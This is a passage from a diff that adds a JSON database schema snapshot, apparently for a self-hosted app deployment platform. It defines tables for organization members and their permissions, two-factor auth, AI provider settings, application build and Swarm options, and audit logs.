+ "team_id": {
+ "name": "team_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "invitation_organization_id_organization_id_fk": {
+ "name": "invitation_organization_id_organization_id_fk",
+ "tableFrom": "invitation",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organization_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "invitation_inviter_id_user_id_fk": {
+ "name": "invitation_inviter_id_user_id_fk",
+ "tableFrom": "invitation",
+ "tableTo": "user",
+ "columnsFrom": [
+ "inviter_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.member": {
+ "name": "member",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "organization_id": {
+ "name": "organization_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "team_id": {
+ "name": "team_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "is_default": {
+ "name": "is_default",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canCreateProjects": {
+ "name": "canCreateProjects",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canAccessToSSHKeys": {
+ "name": "canAccessToSSHKeys",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canCreateServices": {
+ "name": "canCreateServices",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canDeleteProjects": {
+ "name": "canDeleteProjects",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canDeleteServices": {
+ "name": "canDeleteServices",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canAccessToDocker": {
+ "name": "canAccessToDocker",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canAccessToAPI": {
+ "name": "canAccessToAPI",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canAccessToGitProviders": {
+ "name": "canAccessToGitProviders",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canAccessToTraefikFiles": {
+ "name": "canAccessToTraefikFiles",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canDeleteEnvironments": {
+ "name": "canDeleteEnvironments",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "canCreateEnvironments": {
+ "name": "canCreateEnvironments",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "accesedProjects": {
+ "name": "accesedProjects",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "ARRAY[]::text[]"
+ },
+ "accessedEnvironments": {
+ "name": "accessedEnvironments",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "ARRAY[]::text[]"
+ },
+ "accesedServices": {
+ "name": "accesedServices",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "ARRAY[]::text[]"
+ },
+ "accessedGitProviders": {
+ "name": "accessedGitProviders",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "ARRAY[]::text[]"
+ },
+ "accessedServers": {
+ "name": "accessedServers",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "ARRAY[]::text[]"
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "member_organization_id_organization_id_fk": {
+ "name": "member_organization_id_organization_id_fk",
+ "tableFrom": "member",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organization_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "member_user_id_user_id_fk": {
+ "name": "member_user_id_user_id_fk",
+ "tableFrom": "member",
+ "tableTo": "user",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.organization": {
+ "name": "organization",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "slug": {
+ "name": "slug",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "logo": {
+ "name": "logo",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "owner_id": {
+ "name": "owner_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "organization_owner_id_user_id_fk": {
+ "name": "organization_owner_id_user_id_fk",
+ "tableFrom": "organization",
+ "tableTo": "user",
+ "columnsFrom": [
+ "owner_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "organization_slug_unique": {
+ "name": "organization_slug_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "slug"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.organization_role": {
+ "name": "organization_role",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "organization_id": {
+ "name": "organization_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "role": {
+ "name": "role",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "permission": {
+ "name": "permission",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "now()"
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {
+ "organizationRole_organizationId_idx": {
+ "name": "organizationRole_organizationId_idx",
+ "columns": [
+ {
+ "expression": "organization_id",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ },
+ "organizationRole_role_idx": {
+ "name": "organizationRole_role_idx",
+ "columns": [
+ {
+ "expression": "role",
+ "isExpression": false,
+ "asc": true,
+ "nulls": "last"
+ }
+ ],
+ "isUnique": false,
+ "concurrently": false,
+ "method": "btree",
+ "with": {}
+ }
+ },
+ "foreignKeys": {
+ "organization_role_organization_id_organization_id_fk": {
+ "name": "organization_role_organization_id_organization_id_fk",
+ "tableFrom": "organization_role",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organization_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.two_factor": {
+ "name": "two_factor",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "secret": {
+ "name": "secret",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "backup_codes": {
+ "name": "backup_codes",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "verified": {
+ "name": "verified",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "failed_verification_count": {
+ "name": "failed_verification_count",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 0
+ },
+ "locked_until": {
+ "name": "locked_until",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "two_factor_user_id_user_id_fk": {
+ "name": "two_factor_user_id_user_id_fk",
+ "tableFrom": "two_factor",
+ "tableTo": "user",
+ "columnsFrom": [
+ "user_id"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.verification": {
+ "name": "verification",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "identifier": {
+ "name": "identifier",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "value": {
+ "name": "value",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "expires_at": {
+ "name": "expires_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "created_at": {
+ "name": "created_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updated_at": {
+ "name": "updated_at",
+ "type": "timestamp",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {},
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.ai": {
+ "name": "ai",
+ "schema": "",
+ "columns": {
+ "aiId": {
+ "name": "aiId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "apiUrl": {
+ "name": "apiUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "apiKey": {
+ "name": "apiKey",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "model": {
+ "name": "model",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "isEnabled": {
+ "name": "isEnabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "organizationId": {
+ "name": "organizationId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "ai_organizationId_organization_id_fk": {
+ "name": "ai_organizationId_organization_id_fk",
+ "tableFrom": "ai",
+ "tableTo": "organization",
+ "columnsFrom": [
+ "organizationId"
+ ],
+ "columnsTo": [
+ "id"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {},
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.application": {
+ "name": "application",
+ "schema": "",
+ "columns": {
+ "applicationId": {
+ "name": "applicationId",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "name": {
+ "name": "name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "appName": {
+ "name": "appName",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "description": {
+ "name": "description",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "env": {
+ "name": "env",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewEnv": {
+ "name": "previewEnv",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "watchPaths": {
+ "name": "watchPaths",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewBuildArgs": {
+ "name": "previewBuildArgs",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewBuildSecrets": {
+ "name": "previewBuildSecrets",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewLabels": {
+ "name": "previewLabels",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewWildcard": {
+ "name": "previewWildcard",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewPort": {
+ "name": "previewPort",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false,
+ "default": 3000
+ },
+ "previewHttps": {
+ "name": "previewHttps",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "previewPath": {
+ "name": "previewPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'/'"
+ },
+ "certificateType": {
+ "name": "certificateType",
+ "type": "certificateType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'none'"
+ },
+ "previewCustomCertResolver": {
+ "name": "previewCustomCertResolver",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "previewLimit": {
+ "name": "previewLimit",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false,
+ "default": 3
+ },
+ "isPreviewDeploymentsActive": {
+ "name": "isPreviewDeploymentsActive",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": false
+ },
+ "previewRequireCollaboratorPermissions": {
+ "name": "previewRequireCollaboratorPermissions",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": true
+ },
+ "rollbackActive": {
+ "name": "rollbackActive",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": false
+ },
+ "buildArgs": {
+ "name": "buildArgs",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "buildSecrets": {
+ "name": "buildSecrets",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryReservation": {
+ "name": "memoryReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "memoryLimit": {
+ "name": "memoryLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuReservation": {
+ "name": "cpuReservation",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "cpuLimit": {
+ "name": "cpuLimit",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "title": {
+ "name": "title",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enabled": {
+ "name": "enabled",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "subtitle": {
+ "name": "subtitle",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "command": {
+ "name": "command",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "args": {
+ "name": "args",
+ "type": "text[]",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "icon": {
+ "name": "icon",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "refreshToken": {
+ "name": "refreshToken",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "sourceType": {
+ "name": "sourceType",
+ "type": "sourceType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'github'"
+ },
+ "cleanCache": {
+ "name": "cleanCache",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false,
+ "default": false
+ },
+ "repository": {
+ "name": "repository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "owner": {
+ "name": "owner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "branch": {
+ "name": "branch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "buildPath": {
+ "name": "buildPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'/'"
+ },
+ "triggerType": {
+ "name": "triggerType",
+ "type": "triggerType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'push'"
+ },
+ "autoDeploy": {
+ "name": "autoDeploy",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabProjectId": {
+ "name": "gitlabProjectId",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabRepository": {
+ "name": "gitlabRepository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabOwner": {
+ "name": "gitlabOwner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabBranch": {
+ "name": "gitlabBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabBuildPath": {
+ "name": "gitlabBuildPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'/'"
+ },
+ "gitlabPathNamespace": {
+ "name": "gitlabPathNamespace",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaRepository": {
+ "name": "giteaRepository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaOwner": {
+ "name": "giteaOwner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaBranch": {
+ "name": "giteaBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaBuildPath": {
+ "name": "giteaBuildPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'/'"
+ },
+ "bitbucketRepository": {
+ "name": "bitbucketRepository",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketRepositorySlug": {
+ "name": "bitbucketRepositorySlug",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketOwner": {
+ "name": "bitbucketOwner",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketBranch": {
+ "name": "bitbucketBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketBuildPath": {
+ "name": "bitbucketBuildPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'/'"
+ },
+ "username": {
+ "name": "username",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "password": {
+ "name": "password",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "dockerImage": {
+ "name": "dockerImage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "registryUrl": {
+ "name": "registryUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customGitUrl": {
+ "name": "customGitUrl",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customGitBranch": {
+ "name": "customGitBranch",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customGitBuildPath": {
+ "name": "customGitBuildPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "customGitSSHKeyId": {
+ "name": "customGitSSHKeyId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "enableSubmodules": {
+ "name": "enableSubmodules",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": false
+ },
+ "dockerfile": {
+ "name": "dockerfile",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'Dockerfile'"
+ },
+ "dockerContextPath": {
+ "name": "dockerContextPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "dockerBuildStage": {
+ "name": "dockerBuildStage",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "dropBuildPath": {
+ "name": "dropBuildPath",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "healthCheckSwarm": {
+ "name": "healthCheckSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "restartPolicySwarm": {
+ "name": "restartPolicySwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "placementSwarm": {
+ "name": "placementSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "updateConfigSwarm": {
+ "name": "updateConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackConfigSwarm": {
+ "name": "rollbackConfigSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "modeSwarm": {
+ "name": "modeSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "labelsSwarm": {
+ "name": "labelsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "networkSwarm": {
+ "name": "networkSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "stopGracePeriodSwarm": {
+ "name": "stopGracePeriodSwarm",
+ "type": "bigint",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "endpointSpecSwarm": {
+ "name": "endpointSpecSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "ulimitsSwarm": {
+ "name": "ulimitsSwarm",
+ "type": "json",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "replicas": {
+ "name": "replicas",
+ "type": "integer",
+ "primaryKey": false,
+ "notNull": true,
+ "default": 1
+ },
+ "applicationStatus": {
+ "name": "applicationStatus",
+ "type": "applicationStatus",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'idle'"
+ },
+ "buildType": {
+ "name": "buildType",
+ "type": "buildType",
+ "typeSchema": "public",
+ "primaryKey": false,
+ "notNull": true,
+ "default": "'nixpacks'"
+ },
+ "railpackVersion": {
+ "name": "railpackVersion",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'0.15.4'"
+ },
+ "herokuVersion": {
+ "name": "herokuVersion",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false,
+ "default": "'24'"
+ },
+ "publishDirectory": {
+ "name": "publishDirectory",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "isStaticSpa": {
+ "name": "isStaticSpa",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "createEnvFile": {
+ "name": "createEnvFile",
+ "type": "boolean",
+ "primaryKey": false,
+ "notNull": true,
+ "default": true
+ },
+ "createdAt": {
+ "name": "createdAt",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "registryId": {
+ "name": "registryId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "rollbackRegistryId": {
+ "name": "rollbackRegistryId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "environmentId": {
+ "name": "environmentId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "githubId": {
+ "name": "githubId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "gitlabId": {
+ "name": "gitlabId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "giteaId": {
+ "name": "giteaId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "bitbucketId": {
+ "name": "bitbucketId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "serverId": {
+ "name": "serverId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "buildServerId": {
+ "name": "buildServerId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "buildRegistryId": {
+ "name": "buildRegistryId",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ }
+ },
+ "indexes": {},
+ "foreignKeys": {
+ "application_customGitSSHKeyId_ssh-key_sshKeyId_fk": {
+ "name": "application_customGitSSHKeyId_ssh-key_sshKeyId_fk",
+ "tableFrom": "application",
+ "tableTo": "ssh-key",
+ "columnsFrom": [
+ "customGitSSHKeyId"
+ ],
+ "columnsTo": [
+ "sshKeyId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "application_registryId_registry_registryId_fk": {
+ "name": "application_registryId_registry_registryId_fk",
+ "tableFrom": "application",
+ "tableTo": "registry",
+ "columnsFrom": [
+ "registryId"
+ ],
+ "columnsTo": [
+ "registryId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "application_rollbackRegistryId_registry_registryId_fk": {
+ "name": "application_rollbackRegistryId_registry_registryId_fk",
+ "tableFrom": "application",
+ "tableTo": "registry",
+ "columnsFrom": [
+ "rollbackRegistryId"
+ ],
+ "columnsTo": [
+ "registryId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "application_environmentId_environment_environmentId_fk": {
+ "name": "application_environmentId_environment_environmentId_fk",
+ "tableFrom": "application",
+ "tableTo": "environment",
+ "columnsFrom": [
+ "environmentId"
+ ],
+ "columnsTo": [
+ "environmentId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "application_githubId_github_githubId_fk": {
+ "name": "application_githubId_github_githubId_fk",
+ "tableFrom": "application",
+ "tableTo": "github",
+ "columnsFrom": [
+ "githubId"
+ ],
+ "columnsTo": [
+ "githubId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "application_gitlabId_gitlab_gitlabId_fk": {
+ "name": "application_gitlabId_gitlab_gitlabId_fk",
+ "tableFrom": "application",
+ "tableTo": "gitlab",
+ "columnsFrom": [
+ "gitlabId"
+ ],
+ "columnsTo": [
+ "gitlabId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "application_giteaId_gitea_giteaId_fk": {
+ "name": "application_giteaId_gitea_giteaId_fk",
+ "tableFrom": "application",
+ "tableTo": "gitea",
+ "columnsFrom": [
+ "giteaId"
+ ],
+ "columnsTo": [
+ "giteaId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "application_bitbucketId_bitbucket_bitbucketId_fk": {
+ "name": "application_bitbucketId_bitbucket_bitbucketId_fk",
+ "tableFrom": "application",
+ "tableTo": "bitbucket",
+ "columnsFrom": [
+ "bitbucketId"
+ ],
+ "columnsTo": [
+ "bitbucketId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "application_serverId_server_serverId_fk": {
+ "name": "application_serverId_server_serverId_fk",
+ "tableFrom": "application",
+ "tableTo": "server",
+ "columnsFrom": [
+ "serverId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "cascade",
+ "onUpdate": "no action"
+ },
+ "application_buildServerId_server_serverId_fk": {
+ "name": "application_buildServerId_server_serverId_fk",
+ "tableFrom": "application",
+ "tableTo": "server",
+ "columnsFrom": [
+ "buildServerId"
+ ],
+ "columnsTo": [
+ "serverId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ },
+ "application_buildRegistryId_registry_registryId_fk": {
+ "name": "application_buildRegistryId_registry_registryId_fk",
+ "tableFrom": "application",
+ "tableTo": "registry",
+ "columnsFrom": [
+ "buildRegistryId"
+ ],
+ "columnsTo": [
+ "registryId"
+ ],
+ "onDelete": "set null",
+ "onUpdate": "no action"
+ }
+ },
+ "compositePrimaryKeys": {},
+ "uniqueConstraints": {
+ "application_appName_unique": {
+ "name": "application_appName_unique",
+ "nullsNotDistinct": false,
+ "columns": [
+ "appName"
+ ]
+ }
+ },
+ "policies": {},
+ "checkConstraints": {},
+ "isRLSEnabled": false
+ },
+ "public.audit_log": {
+ "name": "audit_log",
+ "schema": "",
+ "columns": {
+ "id": {
+ "name": "id",
+ "type": "text",
+ "primaryKey": true,
+ "notNull": true
+ },
+ "organization_id": {
+ "name": "organization_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_id": {
+ "name": "user_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "user_email": {
+ "name": "user_email",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "user_role": {
+ "name": "user_role",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "action": {
+ "name": "action",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "resource_type": {
+ "name": "resource_type",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": true
+ },
+ "resource_id": {
+ "name": "resource_id",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "resource_name": {
+ "name": "resource_name",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
+ "metadata": {
+ "name": "metadata",
+ "type": "text",
+ "primaryKey": false,
+ "notNull": false
+ },
